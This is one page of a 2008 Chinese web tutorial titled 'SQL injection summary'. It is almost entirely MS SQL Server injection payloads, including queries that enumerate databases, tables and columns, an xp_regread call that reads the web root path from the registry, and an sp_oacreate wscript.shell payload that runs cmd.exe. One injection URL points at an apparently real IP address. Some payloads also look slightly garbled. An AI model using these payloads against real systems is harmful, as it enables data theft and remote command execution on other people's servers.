WEB开发网
开发学院网络安全黑客技术 SQL注入总结大全 阅读

SQL注入总结大全

 2008-10-27 16:51:32 来源:WEB开发网   
核心提示: 暴库特殊技巧::%5c='' 或者把/和 修改%5提交and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)and 0<>(select top

暴库特殊技巧::%5c='' 或者把/和 修改%5提交

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--
http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)
http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--

得到了web路径d:xxxx,接下来:

上一页  1 2 3 4 5 6 7 8 9  下一页

Tags:SQL 注入 总结

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接